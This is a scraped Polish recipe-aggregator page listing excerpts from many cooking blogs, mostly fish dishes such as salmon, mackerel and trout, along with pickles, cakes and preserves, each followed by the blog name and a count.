wykorzystać na surówki lub do zup, a cienkie, delikatne i pierzaste listki kopru włoskiego – podobnie jak koper ogrodowy – do dekoracji i wykańczania potraw, szczególnie tych na bazie jaj i ryb. Koper włoski ma bardzo charakterystyczny smak – słodkawy, anyżkowo-lukrecjowy i świeży. Bulwa traci te aromaty po podgrzaniu – przy zapiekaniu, gotowaniu i grillowaniu fenkuł gubi lotne olejki odpowiadające(...)stanie zjeść sama całą tą dużą porcję, na kolację albo i na deser. Jeśli chcecie się tymi delicjami podzielić, wykorzystajcie surówkę z kopru włoskiego do białych mięs lub do ryby. SKŁADNIKI 4 średniej wielkości porcje do obiadu 1 duży fenkuł (ok. 500g) 150g jabłka – twardego, soczystego 30g orzechów włoskich 2 łyżki oliwy extra virgin 2 łyżki octu jabłkowego

Karo in the Kitchen
Puree z brukwi 106

zapiekanka clapshot .  Na Islandii brukiew znana jest od XIX wieku i wraz z ziemniakami stanowiła podstawowe warzywo powszechnie uprawiane w całym kraju. Puree z brukwi podaje się z rybami i mięsem lub dodaje się ją  do zup i potrawek. Brukiew można także upiec, lub zetrzeć i przygotować z niej placuszki. Jak widzicie polecam wypróbować to warzywo, ponieważ(...)ilością cukru, po czym brukiew ugnieść tak jak ziemniaki na jednolitą masę, w razie potrzeby dodać nieco masła i przypraw do smaku. Puree z brukwi podawać jako dodatek do ryb lub mięs. Smacznego

Codzienne Gotowanie
Sałatka z wędzoną makrelą 123

Pamiętajcie, żeby przy przygotowywaniu tej sałatki bardzo dobrze oddzielić mięso od ości, żeby uniknąć później niemiłej niespodzianki podczas jedzenia ;) A jeśli chodzi o samą makrelę to jest ona rybą tłustą, ale w tym właśnie tkwi całe jej dobro. Jest źródłem dobroczynnych kwasów tłuszczowych omega -3, warto ją więc włączyć od czasu do czas do swojego menu.  Jest wielu przeciwników(...)wędzonej żywności, ponieważ nieodpowiednie przeprowadzenie procesu wędzenia może prowadzić do powstania niekorzystnych związków. Zwróćmy więc uwagę żeby ryba pochodziła ze sprawdzonego zaufanego źródła, żeby w pełni skorzystać z jej wartości odżywczych. SAŁATKA Z WĘDZONĄ MAKRELĄ Czas przygotowania 10 minut Składniki na jedną porcję sałatki Pół wędzonej makreli Pół czerwonej papryki Pół pomidora Dwa ogórki konserwowe 2 łyżki kukurydzy konserwowej Kilka

HealthyCreations
Lasagne z łososiem i szpinakiem pod porowym beszamelem 159

beszamelowy z porem, całość najlepiej smakuje podana ze schłodzonym francuskim białym winem.  Pomidorki koktajlowe ułożone na środku lasagne , podkreślą walory wizualne.  Zachęcam do spróbowania tej wersji. Smakoszom ryb i makaronu to danie z pewnością przypadnie do gustu. Najlepsze zaraz po upieczeniu. Składniki dla 5 osób: 10-12 płatów lasagne 30 dag świeżego fileta z łososia atlantyckiego

Wanilia i Kardamon
Jak przygotować wigilijny stół 119

stronie lewej. Ostrza noży powinny być ułożone w kierunku talerza, nigdy na zewnątrz. Podczas kolacji wigilijnej, oprócz podstawowych sztućców, na stole powinny pojawić się również specjalne sztućce do ryby. Nóż do ryb nie służy do krojenia, ale do oddzielania skóry i ości od mięsa. Charakteryzuje się tępą krawędzią i jest bardziej spłaszczony od standardowych noży stołowych. . Nad talerzem

Kulinaria - potrawy z różnych stron świata
Sałatka z kiełbasą łososiową i awokado 146

wędzoną, pachnącą. Jak tylko ostygła wykorzystałam ją w sałatce, w połączeniu z awokado smakowała wybornie. Jeśli tylko macie możliwość zakupienia kiełbasy z łososia róbcie taką sałatkę lub użyjcie wędzonej ryby. Kiełbasa łososiowa w sałatce z awokado. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Kiszona kapusta – przepis 213

domową kiszoną kapustę. Już kilkukrotnie o niego prosiliście, więc… Jest Tak przygotowana kapusta jest o niebo lepsza od kupnej. Możecie ją podawać do drugiego dania np. chrupiącej ryby lub użyć do przygotowania świątecznych pierogów z kapustą i grzybami . Składniki: (Ilość można zwiększyć, bądź zmniejszyć. Dla ułatwienia podaję na 10 kg kapusty) 10 kg kapusty poszatkowanej 25 dag soli(...)dalszego kiszenia. Kapusta powinna być czymś przyciśnięta/obciążona. Ja używam kamieni dociskowych Kiedy kapusta będzie gotowa? Po około 2 tygodniach można ją podawać do drugiego dania np. chrupiącej ryby lub użyć do przygotowania świątecznych pierogów z kapustą i grzybami . Smacznego

Słodkie okruszki
Łosoś w śmietanowym sosie z suszonymi pomidorami / Creamy salmon with sun-dried tomatoes 223

Dzisiaj piątek więc musi być rybka! Generalnie warto jeść ryby nawet częściej, ale dzisiaj można chociaż podeprzeć się tradycją;) Dziś proponuję łatwego i szybkiego łososia w pysznym kremowym sosie śmietanowym z suszonymi pomidorami, szpinakiem i odrobiną parmezanu. Świetny pomysł na obiad w każdy dzień tygodnia! Jeżeli jesteś fanem łososia, polecam także z sosem z mango , w miodowej glazurze

karmelowy
Bardzo czekoladowy tort urodzinowy 169

Tort czekoladowy z masą czekoladową Tort czekoladowy to urodzinowy klasyk. Według mnie najlepszy jest tradycyjny tort - z tradycyjnym biszkoptem czekoladowym oraz tradycyjną masą czekoladową z masła

Korniszonki
Proste obiady na 7 dni # 7 - Odbierz bezpłatny PDF! 137

sezon.  Proste obiady na 7 dni  to cykl, w którym raz w miesiącu publikuję gotowe menu obiadowe na cały tydzień. Zobacz jadłospis:  z marca - 2 x ryba i 5 x wege   z kwietnia - 2 x kurczak, 2 x ryba, 3 x wege z maja -  przepisy do lunchboxa z czerwca -  6 x wege(...)ryba z lipca -  jedzenie do pracy na zimno z września -  4 x wege, 2 x ryba, 1 x mięso Przepisy w wersji do druku oraz listę zakupów możecie pobrać po zapisaniu się na mój newsletter pon iżej.  Zazwyczaj staram się w menu uwzględnić 3-4 niepublikowane jeszcze na blogu przepisy, tym razem mamy niestety tylko

Chilli Czosnek i Oliwa
Barszcz z kiszonych buraków – prosty przepis 132

przepadałam. Ale teraz go uwielbiam i przygotowuję nie tylko na święta. Idealny do uszek z grzybami , krokietów, pierożków lub od tak w kubku do picia np. do pysznej smażonej ryby. Przygotowanie barszczu z kiszonych buraków jest naprawdę proste. Pamiętajcie tylko, że ilość dodanych przypraw jest kwestią gustu. Pod koniec gotowania spróbujcie barszcz i doprawcie go według własnego gustu(...)smakuje następnego dnia. Pamiętajmy, aby przed podaniem go podgrzać, ale nie zagotować. Barszcz podajemy z uszkami , krokietami, pierożkami lub od tak w kubku do picia np. do pysznej smażonej ryby. Smacznego   Kiszone buraki z zakwasem Jak przygotować? Przygotowujemy 2 kg buraków. Do czystego naczynia (u mnie duży słój) wkładamy obrane i pokrojone buraczki. Następnie zalewamy je przegotowaną

Słodkie okruszki
Ciasto czekoladowo-różane 153

Ciasto czekoladowe znane jest w wielu wariantach. Ten przepis to połączenie mocnego smaku czekolady z nutą róży. To prawda, ciasto jest dość ciężkie i wilgotne, ale

Korniszonki
"Smaczna kuchnia. Domowe wyroby" 155

niż te sklepowe i na pewno smaczniejsze. Można je doprawić pod siebie. Ta książka to zbiór takich przepisów. Zaczyna się od wędzonek i znajdziemy tutaj różnego rodzaju mięsa i ryby takie jak makrela, halibut, śledzie, pstrąg i inne. Kolejne są pasztety i smarowidła do kanapek gdzie znajdziemy przepisy na różne pasztety, pasty i terriny. Pieczenie na ciepło i zimno(...)wykorzystamy do zamarynowania mięs. Mamy tutaj marynaty do schabu, do drobiu, żeberek, steków, wołowiny czy kaczki.  "Smaczna kuchnia. Domowe wyroby" to książka pełna pysznych przepisów na domowe mięsa, ryby i wędliny. Dla każdego coś dobrego :-)  Każdy przepis opatrzony zdjęciem gotowego wyrobu, zdjęcia bardzo ładne i apetyczne. Przepisy proste, każdy spokojnie sobie z nimi poradzi. U mnie książka

kruche babeczki
Pasta kanapkowa z sera białego i suszonych pomidorów 137

kanapkowa z sera białego i suszonych pomidorów Sięgając po pasty kanapkowe z całą pewnością zapobiegniemy suchości naszych kanapek. Pasty czy też inaczej smarowidła na kanapki przygotować możemy z warzyw, ryb, sera, jajek. Wykorzystać możemy takie składniki na jakie w danym momencie mamy smak. Z warzyw do past idealnie nadadzą się bakłażan, cukinia, papryka czy pomidory. Jeśli sięgamy po ryby to na pewno warto skusić się na makrelę czy wędzonego łososia. W przypadku serów, pasty można zrobić z kilku ich rodzajów. Ja tym razem zdecydowałam się na ser biały. Połączyłam go z suszonymi pomidorami i świeżą bazylią. Podałam z ciepłymi jeszcze bułeczkami z buraczkiem ćwikłowym. Przepis na bułki macie tutaj: Bułeczki drożdżowe z buraczkiem ćwikłowym. Jeśli zdecydujecie się

mecooks
Nowe jesienne menu - Stekówka - steki i burgery 140

parapet. Zdecydowanie. No i ponownie - konsystencja idealna! 👉 Tatar z makreli - wędzona makrela w asyście zielonego ogórka i czerwonej cebuli otoczona kwaśną śmietaną Makrela to chyba jedna z ulubionych ryb Polaków, my z Dominikiem także za nią przepadamy. Jest tłusta i idealna, by posilić się nią, gdy trzeba walczyć z trudami dnia codziennego i niesprzyjającą pogodą, bo zawiera także szereg(...)organizmu. W połączeniu z kwaśną śmietaną oraz chrupiącymi dodatkami w postaci cebulki i ogórka jest przyjemnie orzeźwiająca i lekka. Bardzo miła przystawka, która zasmakuje nie tylko fanom makreli, ale ryb ogółem. 😊 👉 Tarta cebulowa - delikatna tarta cebulowa oblana sosem na bazie maślaków Ta tarta jest dla mnie prawdziwym zaskoczeniem, gdyż wytrawne nadzienie zostało zapieczone na... kruchym słodkim spodzie. Słodka cebula

Cooking Monster
Knedle ze śliwkami na sposób mojej mamy 183

Knedle ze śliwkami Knedle ze śliwkami, najlepiej węgierkami, to smak mojego dzieciństwa. Te knedle zawsze „wychodziły”. Ciasto zawsze było delikatne, miękkie i nie przytłaczało smaku śliwek

Korniszonki
Sałatka ze smażonym serem 98

się podczas przygotowania. Moi ulubieńcy czyli pasty przyprawowe. Na zdjęciu widzicie dwie z nich – łagodną mild curry i średnio pikantną tikka masala. Używałam ich do marynowania mięsa lub ryb, dodatek do sosu (łączę je z sosem pomidorowym lub przygotowuję sos na bazie mleczka kokosowego), idealnie sprawdzają się jako marynata do grilla. Zobaczycie na blogu jeszcze wiele potraw(...)swojej potrawy dodając całą lub jedynie małą cześć papryczki chilli. Kolejnym krokiem jest dodanie na patelnię pasty przyprawowej i odrobiny wody. To czas na dorzucenie dodatków – warzyw, kurczaka, ryby. To od Ciebie zależy z czym zrobisz ten posiłek. Ostatnim krokiem jest dodanie ostatniej 3 saszetki i sosu pomidorowego. Polecam ten zestaw w połączeniu z kalafiorem – przepyszne Ostatnią

nietylkopasta.pl
DOMOWE PALUSZKI RYBNE W PANIERCE Z KUSKUSU 201

obtoczenia ryby, olej do smażenia. Przygotowanie: Kuskus zalewam gorącym bulionem, odstawiam pod przykryciem na 10 minut. Następnie mieszam z przyprawami, masłem, sokiem z cytryny i posiekaną natką pietruszki. Rybę kroję w paski, każdy kawałek obtaczam w mące, jajku i panierce z kuskusu. Smażę na rozgrzanym oleju na złoto (po około 1,5-2 minuty z każdej strony

JejKuchnia
Pomidory kiszone w jogurcie z koperkiem, dymką i czosnkiem 159

Kiszone pomidory - pomidory, jogurt, koperek, cebulka i czosnek oraz ostra papryka! Pomidory kiszone w jogurcie to moje internetowe odkrycie. Szukając informacji o kiszonkach natknęłam się na

Korniszonki
Pstrągi czosnkowe jak ze smażalni [PRZEPIS] 121

naprawdę aromatyczne. Czosnek rozetrzyj z solą (łyżeczka z lekką górką) na pastę, połącz z łyżką oleju, łyżką soku z cytryny oraz posiekaną natką pietruszki, majerankiem i pieprzem. Mieszkanką natrzyj ryby od środka, lekko oprósz je także solą z zewnątrz(...)oraz skrop resztą cytryny, i odstaw do lodówki najlepiej na około 5-6 godzin. Przed gotowaniem wyjmij na około pół godziny, aby złapały temperaturę otoczenia, co ułatwi smażenie. Każdą rybę obtocz w mące pszennej, otrzep z nadmiaru i smaż na głębokim tłuszczu przez około 8-10 minut. W tym czasie pstrągi powinny zrobić się złociste. Zdejmij z patelni na papierowy

Kulinarna Polska
Galaretka winogronowa 159

Słoik winogronowej galaretki gotowy na zimę Winogrona to owoce, które można spożywać na wiele sposobów. Oczywiście pyszne są na surowo, można z nich zrobić wino lub

Korniszonki
Szarlotka z pianką i kruszonką 250

Szarlotka z pianką i kruszonką Ciasta z jabłkami można piec praktycznie przez cały rok, ale jesień to czas, kiedy wśród wypieków naprawdę królują szarlotki i jabłeczniki

Korniszonki
Ryż z czerwoną fasolą 117

Ryż z czerwoną fasolą jest na Jamajce niezwykle popularny. Ryż z fasolą podawany jest jako dodatek do mies i ryb, najlepiej jednak smakuje z kurczakiem jerk. Myślę, że przypadnie Wam do gustu. Tak przygotowany ryż jest niezwykle smaczny i stanowi ciekawe urozmaicenie. Z pewnością będzie pasował do większości potraw, jednak szczególnie polecam go do kurczaka w marynacie z limonki(...)chwilę - do czasu aż ryż będzie miękki, a płyn zostanie wchłonięty.  Zestawić z ognia i zostawić pod przykryciem na jakieś 5 minut. Podawać jako dodatek do mięs lub ryb. Smacznego

Codzienne Gotowanie
Domowa kapusta kiszona w słoikach 159

Kapusta kiszona, jak wszystkie kiszonki, to naturalne źródło witamin, które zapewnią nam odporność i dobre samopoczucie w zimowych miesiącach. Jak się okazuje, przygotowanie domowej kiszonej kapusty

Korniszonki
Chrupiące stripsy z kurczaka jak z KFC 448

Chrupiące stripsy z udek kurczaka Chrupiące kawałki kurczaka w złotej panierce to ulubiona przekąska dużych i małych smakoszy. Można zamawiać kubełki na wynos, ale pyszne stripsy

Korniszonki
Solony koperek na zimę 140

Solony koperek w słoiku Solony koperek w słoiku jest idealnym składnikiem na zupę koperkową lub sos. Oczywiście można kupić taki koperek w sklepie jednak wystarczy dosłownie

Korniszonki
Paluszki rybne dla dzieci 245

sól i pieprz do smaku olej do smażenia Rybę rozmrażamy i osuszamy (można je delikatnie osuszyć np. czystą ściereczką), a następnie delikatnie solimy. Kroimy rybę na dość grube słupki (ok. 2,5 cm). Kawałki ryby panierujemy w mące, roztrzepanym jajku, a następnie w bułce tartej. Na dużej patelni rozgrzewamy sporą ilość oleju (pozwoli to na krótsze smażenie). Wkładamy

Dieta bez mleka
Jabłecznik z Podkarpacia 207

Tradycyjny jabłecznik Ten przepis na tradycyjną szarlotkę z okolic Dukli znalazłam z folderze z przepisami z Beskidu Dukielskiego i lekko go zmodyfikowałam. Ciasto jest pyszne i

Korniszonki
Najlepszy do kiszenia – garnek hermetyczny z kamionki 151

później można cieszyć się pysznym dodatkiem do obiadu. Czy wy też nie wyobrażacie sobie smażonej ryby bez kiszonej kapusty? U nas to obowiązkowy dodatek. Mój mąż nie zje ryby bez kapusty Przepisem na kiszoną kapustę podzielę się z Wami już niedługo. Do garnka zamówiłam również kamienie dociskowe wykonane z naturalnych surowców – ceramicznych. Mają one na celu utrzymanie

Słodkie okruszki
Domowy ocet jabłkowy z obierek i ogryzków. Nie wyrzucaj - wykorzystaj! 223

Domowy ocet jabłkowy ze skórek Do przygotowania domowego octu owocowego można użyć gorszych jabłek lub gruszek, które nie nadają się do jedzenia, przetworów lub są uszkodzone

Korniszonki
Zgrzewarki próżniowe - do czego się przydają 129

Wszyscy doskonale wiemy, że pakowanie próżniowe przedłuża nawet kilkukrotnie trwałość produktów żywnościowych poczynając od mięsa i jego przetworów, poprzez ryby, owoce i warzywa, sery, kawy, przeprawy, na pieczywie i herbatnikach kończąc. Pozwala również dłużej zachować ich walory smakowe i wartości odżywcze, w tym niezbędne dla organizmu mikro- i makroelementy oraz zapobiega uwalnianiu aromatów. Pisałam już o tym na blogu(...)przygotowywania posiłków zgodnie z metodą sous vide i sezonowania wołowiny na steki. Dzięki tym rozwiązaniom nie tylko oszczędzamy pieniądze, kupując zamiast gotowych półproduktów kulinarnych, jedynie nieprzetworzoną żywność (mięsa, ryby i owoce morza, warzywa i owoce). Możemy także przygotować odpowiedniej wielkości porcje i uniknąć marnotrawienia jedzenia. Zgrzewarki próżniowe - do czego się przydają Przyrządzanie potraw metodą sous vide (co w dosłownym

Cztery Fajery
Kurczak w marynacie teriyaki 141

marynacie teriyaki może być podawany z ryżem, makaronem ryżowym lub z warzywami. Można też, zamiast w marynacie,  przygotować kurczaka w sosie teriyaki. Marynata teriyaki pasuje do krewetek, ryb(...)wieprzowiny, zwłaszcza do żeberek i karkówki pieczonej na grillu. Wyśmienita jest też wołowina teriyaki. Na blogu znajdziecie uproszczony przepis na marynata teriyaki  - do drobiu, mięsa i ryb , dziś jednak chciałabym Wam podać wariant wzbogacony o mirin, rodzaj wina ryżowego stosowanego w kuchni japońskiej. Bardzo dobrt, gotowy sos lub marynatę teriyaki można kupić w sklepie internetowym Kuchnie Świata

Cztery Fajery
Sok z jeżyn 170

Domowy sok z jeżyn Jeżyny to cudowne, czarne owoc, które świetnie smakują jedzone prosto z krzaka, ale są także idealnym składnikiem do przygotowania dżemu, soku lub

Korniszonki
Murzynek, czyli czekoladowy klasyk. Oryginalny przepis z lat 80. 173

Murzynek, polska konkurencja dla amerykańskiego brownie Murzynek to ciasto czekoladowe, które gościło na polskich stołach zanim pojawiło się amerykańskie brownie. Murzynek może z powodzeniem konkurować z

Korniszonki
La Boqueria 56

ominięcia. Codziennie kusi tłumy ludzi świeżymi owocami (również tymi z morza), warzywami, rybami oraz mięsem. Już przy wejściu barwy i zapachy otaczają z każdej strony. Przy stoiskach z rybami i owocami morza […] Artykuł La Boqueria pochodzi z serwisu Pink Envelope

Pink Envelope
Dżem z jeżyn ze skórką cytrynową i goździkami 130

Dżem z jeżyn. Sprawdzony przepis na dżem jeżynowy Dżem z jeżyn to smak dojrzałego lata zamknięty w słoiku. Ten słodki przysmak wzbogacony smakiem skórki cytrynowej i

Korniszonki
Pieczone bruschetty z dorsza z pomidorami 125

puszka pomidorów krojonych • 2 ząbki czosnku • 2 łyżeczki suszonego oregano • świeża bazylia • oraz: mąka ziemniaczana, cytryna, oliwa, masło, sól i pieprz Przygotowanie : Rybę dokładnie osuszyć papierowymi ręcznikami. Skropić cytryną (ok. 1 łyżeczka na porcję ryby), doprawić solą, pieprzem, posypać mieloną papryką oraz wysmarować oliwą. Na koniec obtoczyć w małej ilości mąki ziemniaczanej (w sumie ok. 1 łyżki). Przygotować(...)można dodać do sosu kilka liści posiekanej bazylii. W międzyczasie ugotować ryż i fasolkę. Piekarnik nagrzać do 200 st. C. Blaszkę do pieczenia posmarować oliwą i ułożyć na niej rybę. Na wierzchu położyć kilka wiórek masła i wyłożyć sos pomidorowy. Posypać pozostałą łyżeczką suszonego oregano i wstawić do nagrzanego piekarnika. Piec przez 15 minut. Propozycja podania Ryż długoziarnisty i fasolka

KUCHNIA POLSKA
Zdrowe grillowanie 129

Zdrowe grillowanie * Grilluj zawsze na tackach, aby ograniczyć skapywanie tłuszczu na brykiet lub węgiel. * Wybieraj na ruszt chude mięso i chude ryby (np. pierś z indyka, kurczak, dorsz, pstrąg itd.) * Zawsze do różnego rodzaju białka dodawaj dużą porcję warzyw. * Pamiętaj o piciu wody - w szczególności, gdy grillowaniu towarzyszą upały. * Uważaj na gotowe marynaty - mogą zawierać duże ilości konserwantów(...)sztucznych  barwników. * Sosy do mięs czy ryb zrób samodzielnie na bazie jogurtu naturalnego. * Spróbuj ograniczyć alkohol i nie pij słodkich, gazowanych napojów. * Używaj ziół, aby zapewnić doskonały smak i aromat grillowanych potraw np. oregano, tymianek, cząber czy zioła prowansalskie. Mając na uwadze wszystkie zasady zdrowego grillowania, możemy bez obaw zasiąść do stołu i cieszyć się smakiem grillowanych potraw

MintTaste
Rodzinne obiady wegan w towarzystwie sermiwegetarian 155

zbilansowane dania, które powstały przy udziale eksperta ds. żywienia. Tak więc tego dnia dla siebie i Miśki zrobiłam ​ placuszki marchewkowe , bo bardzo jej ostatnio zasmakowały, a dla moich semiwege rybę. Tak wyglądają wspomniane danie obiadu dla Marcina i Gabi : Już wiecie dlaczego zwróciłam uwagę na ten produkt, ta ramka w prawym górnym rogu opakowania oraz skład, sami zobaczcie: Podczas smażenia(...)placuszków przygotowałam rybę dla Marcina i Gabizgodnie ze wskazówkami na opakowaniu, jest tak opisane, że nawet Misiek to ogarnie Nasz obiadowy stół prezentuje się tak sekcja wegańska po lewej, po prawej semiwege: Moje i Miśki wegańskie danie: A to obiad Gabi i Miśka: Jak widać można to wszystko jakoś pogodzić, aby każdy miał na talerzu to co lubi

greenscarf
Kokosowa granita. Azjatycki deser idealny nie tylko dla wegetarian 130

Kokosowa granita, czyli domowe lody kokosowe Granita z mleka kokosowego to cudowna alternatywa dla tradycyjnych lodów. Z dodatkiem odrobimy soku z cytryny lub limonki, podana z

Korniszonki
Fish cakes 96

dzisiejszym wpisie przedstawię Wam przepis na placuszki z wędzonej ryby w migdałowej panierce. Przepis powstał zupełnie(...)przypadkiem, kiedy nie miałam pomysłu na dalsze wykorzystanie wędzonej rybki, która spokojnie spoczywała w „czeluściach” mojej lodówki. Od dwóch dni głowiłam się, co mogę zrobić z wędzonej ryby i w końcu wymyśliłam te oto placuszki. 😉 Fish cakes... Tryb czytania Artykuł Fish cakes pochodzi z serwisu Blog kulinarny Kurkanielotka.pl

PysiaGotuje.pl
Pstrąg w warzywach 155

dokładamy umyte pomidorki koktajlowe, zwiększamy temperaturę piekarnika do 190 stop. C i pieczemy ok. 7-10 minut (aż skóra ryb będzie lekko zarumieniona). Po wyjęciu z piekarnika skrapiamy rybę sokiem z cytryny, posypujemy posiekaną natką pietruszki i koperku. Smacznego

gutfut
Veles e Vents 101

dzięki którym siedząc można kontemplować i doceniać piękno przyrody. Wracając do La Marítimy, menu nie jest skomplikowane, mamy cieszące oko przystawki sporo rodzajów paelli, kilka dań mięsnych, codziennie świeże ryby i owoce morza co jest ciekawe i dzięki temu poznaje nowe gatunki ryb. Desery, oczywiście też mamy. Zespół składa się z chefa Fernando, sous chef i dwóch pomocach

Gotuj po hiszpańsku
Mintaj i pieczarki na pure z manioku 87

spontanicznie urodziło się danie pyszne i pożywne, ale lekkie i odżywcze. Maniok już sporo czasu gości w mojej kuchni, warto go zajadać, do zajadania ryb chyba nikogo zaganiać nie trzeba a pieczarki znalazły się o właściwym czasie, we właściwym miejscu. Danie smakuje wybornie. Mintaj i pieczarki na pure z manioku. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Protokół wyjścia - nowe zasady wychodzenia z diety dr Dąbrowskiej 159

wędzonych Zadbanie o różnorodność posiłków Pamiętanie, że kaloria kalorii nie jest równa Jedzenie produktów, które nie zawierają glutenu Odpowiednie komponowanie posiłków, do każdego trzeba dodawać warzywa. Unikanie łączenia mięsa, ryb i jaj z kaszą. Podawanie owoców osobno Stosowanie naturalnych przypraw oraz świeżych i suszonych ziół Cztery fazy wyjścia Faza startowa Jej celem jest usprawnienie procesu trawienia, tak aby produkty(...)niezbędne do prawidłowego funkcjonowania naszego organizmu. Trzeba pamiętać, że mają to być produkty o niskiej zawartości węglowodanów. Podstawą naszego żywienia dalej pozostają produkty z fazy pierwszej, natomiast wprowadzane są ryby, ekologiczne podroby, rośliny strączkowe i klarowane masło ekologiczne. W ciągu 8-12 powinniśmy zjadać 3-4 posiłki. Faza trzecia 1800 kcal lub zgodnie z  zapotrzebowaniem. Ilość przyswajalnych węglowodanów

Kulinarne przygody Gatity
Kambodzański rybny amok 82

imbiru 2 liście kafiru-posiekane 1 łyżeczka kurkumy 1 łyżeczka miodu 1 łyżeczka soli 1 papryczka chili bez nasion, posiekana sok z 1 limonki Reszta składników: 400 g ryby białej (dorsz, halibut- bez skóry, pokrojone) 100 g boczniaków pokrojonych wzdłuż blaszek 2 łyżki oleju rzepakowego 2 łyżki sosu rybnego 200 g mleczka kokosowego 1/2 łyżeczki soli 2 garście jarmuży(...)Rozgrzać olej na patelni i dodać cebulę, chilli i dusić około 2 minut. Dodać wcześniej przygotowaną pastę, 1 łyżkę sosu rybnego, mleko kokosowe, liście kafiru, miód oraz sól. Dodać rybę, boczniaki, szpinak (jarmuż), dusić bez przykrycia około 3-4 minut (albo aż ryba będzie miękka). W oddzielnej miseczce rozbić jajko, dodać resztę sosu rybnego i 2 łyżki pasty z patelni

Katarzyna Skórska - dietetyk kliniczny
Smażone okonki z koprem 170

okoni mąka do obtoczenia sól, biały pieprz do smaku koperek olej rzepakowy do smażenia (adsbygoogle = window.adsbygoogle || []).push({}); Okonie płukamy w zimnej wodzie , lekko osuszamy papierowym ręcznikiem. Do środka , każdej ryby wkładamy po kilka gałązek kopru , solimy , pieprzymy do smaku . Obtaczamy każdego okonia w mące . Na koniec smażymy na rozgrzanym , dość głębokim oleju , do momentu , aż staną się złociste

Ogrodnik w podróży
Młode ziemniaki po skandynawsku ,gotowane w białym sosie 157

Skandynawii . Jednakże , że za rybami ,nie przepadają jakoś szczególnie , to zdecydowaliśmy ,że robimy ziemniaki Bo jednak jak by nie patrzeć, kuchnia ta oparta jest w dużej mierze na rybach , dobrze ,że też na ziemniakach Składniki : 1 kg młodych ziemniaków 500 ml mleka ( w książce jest 400 ml , ale było zbyt gęste i przywierało do garnka ) 2 łyżki mąki

Ogrodnik w podróży
Tradycyjna kuchnia na Kaszubach 144

zdecydowanie wodny obszar – zarówno jeżeli chodzi o morze, rzeki czy jeziora. Nie będzie więc chyba dla nikogo zaskoczeniem, że na kaszubskich stołach dominują dania przygotowywane z lokalnych ryb. Wśród tradycyjnych regionalnych potraw z jakich słyną Kaszuby z całą pewnością należy wymienić znakomitą zupę rybną, która uznanie znalazła wśród jury już na niejednym konkursie. Tradycyjne kaszubskie dania Wybierając się(...)jego wypieku używa się mąki połączonej z drożdżami jajkami oraz cukrem. Są przepyszne i bardzo sycące. Doskonale smakują z filiżanką gorącej kawy. Jako że Kaszuby to region pełen ryb, warto wspomnieć również o tradycyjnej miejscowej przystawce jaką jest śledzik po kaszubsku. Od lat receptura jego przygotowywania pozostaje niezmieniona. Wystarczy trochę śledzi, sos pomidorowy, który przygotować można na bazie ketchupu

Kulinarnyblog.pl - wiesz jak gotować!
Pasta z wędzonej makreli 140

Pasta z ryby to jedna z moich ulubionych past. Tym razem wybrałam wędzoną makrelę bo wyglądała nadzwyczaj świeżo i pysznie. Zaraz powstała z niej przepyszna pasta na którą serdecznie zapraszam. Pasta do chleba z wędzonej makreli. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Co dziś na obiad? Zapiekanka z łososiem i makaronem [wideo] 106

Uwielbiam łososia i mogłabym go jeść częściej, gdyby nie to, że mój narzeczony nie przepada za rybami i trzeba iść na kompromis albo gotować dwa obiady. Zapiekanka z łososiem i makaronem z dodatkiem porów to idealna propozycja na obiad i kolację na ciepło. Możesz też zaskoczyć swoich znajomych czymś nowym na imprezie. Łososia najbardziej lubię w towarzystwie makaronów(...)zapiekankę z łososiem i makaronem Składniki: 250g. makaronu farfalle (kokardki) łosoś por 200g. śmietanki 30% 125g. mascarpone ser tarty do posypania Przyprawy: sól, pieprz cytrynowy, pietruszka, opcjonalnie: przyprawa do ryb Przygotowanie: Ugotuj makaron al dente. Pokrój por w kostkę. Usuń skórkę z łososia i pokój go w kostki. Przygotuj sos: wymieszaj śmietankę 30% z mascarpone dokładnie, aby nie było

Rozdomowiona
Pożywna sałatka z kaszy bulgur z makrelą/tuńczykiem w oleju i fasolą 134

moich bliskich jest bardzo lubiana, więc kto się skusi na jej przygotowanie? Polecam! 100g kaszy bulgur 2 puszki makreli/tuńczyka w oleju (u mnie makrela, ale możecie użyć dowolnej ryby) 1/2 puszki białej fasoli(...)papryka 1 cebula Dodatkowo: sól, pieprz 5-6 łyżek oleju (lub według gustu; ja nie lubię zbyt suchej sałatki)   Kaszę bulgur ugotować według przepisu z opakowania. Natomiast rybę należy odcedzić z oleju i rozdrobnić, fasolkę odlać z zalewy, a paprykę oraz cebulę pokroić w niewielką kostkę. Wszystkie składniki przełożyć do miski i wymieszać z olejem. Sałatkę doprawić solą

Di gotuje
Łosoś ze szpinakiem i fetą, zapiekany w cieście francuskim 335

Łosoś ze szpinakiem i fetą, zapiekany w cieście francuskim Świeży łosoś zapiekany w cieście francuskim to ciekawy pomysł na smaczny obiad. Ryba przyrządzona w ten sposób jest bardzo soczysta i aromatyczna. Polecam!     1 opakowania ciasta francuskiego ok 40 dkg świeżego łososia – bez skóry 20dkg szpinaku 10dkg sera feta 2 ząbki czosnku sól, pieprz cytrynowy (lub zwykły(...)części. Dłuższe części ciast nacinamy tak by powstały paski, środek pozostawiamy nienacięty *** *** Na nienaciętych środkach ciasta układamy warstwę szpinaku *** *** Na szpinaku układamy plasterki sera feta *** *** Na serze układamy porcje ryby, którą przyprawiamy z wierzchu solą oraz pieprzem cytrynowym (lub zwykłym pieprzem i sokiem z cytryny) *** *** Paseczki ciasta zawijamy (naprzemiennie po skosie- prawy,lewy, prawy, lewy) do środka. Końcówkę lekko

Blog z Apetytem
Sałatka z łososiem i warzywami 132

Dzień dobry moi drodzy. Dzisiaj trochę odetchniemy w końcu od słodkich deserów i zaproponuję Wam pożywne i zdrowe śniadanie bądź kolację. Łosoś jest zaliczany do gatunku ryb tłustych i rzadko kojarzony jest ze zdrowym odżywianiem, fit i odchudzaniem. A to wielki błąd! Tak samo, jak makrela wskazana jest na diecie zbilansowanej, ze względu na swoje bogate  „ wyposażenie". Zawiera(...)bardzo nie biorę jej pod uwagę, szczególnie że biorą wszystko do jednego worka. Co prawda, nie mówię, że to totalna głupota, bo trochę racji mają, jeśli chodzi o hodowlane ryby, ale nikt przecież nie je codziennie po 5 kg, żeby to w jakiś bardzo szkodliwy sposób miało wpłynąć na zdrowie. Dla przypomnienia problemu popatrzcie jaka różnica jest między dzikim

Zdrowie i pysznie na talerzu
Pstrąg na weekendowy obiad 102

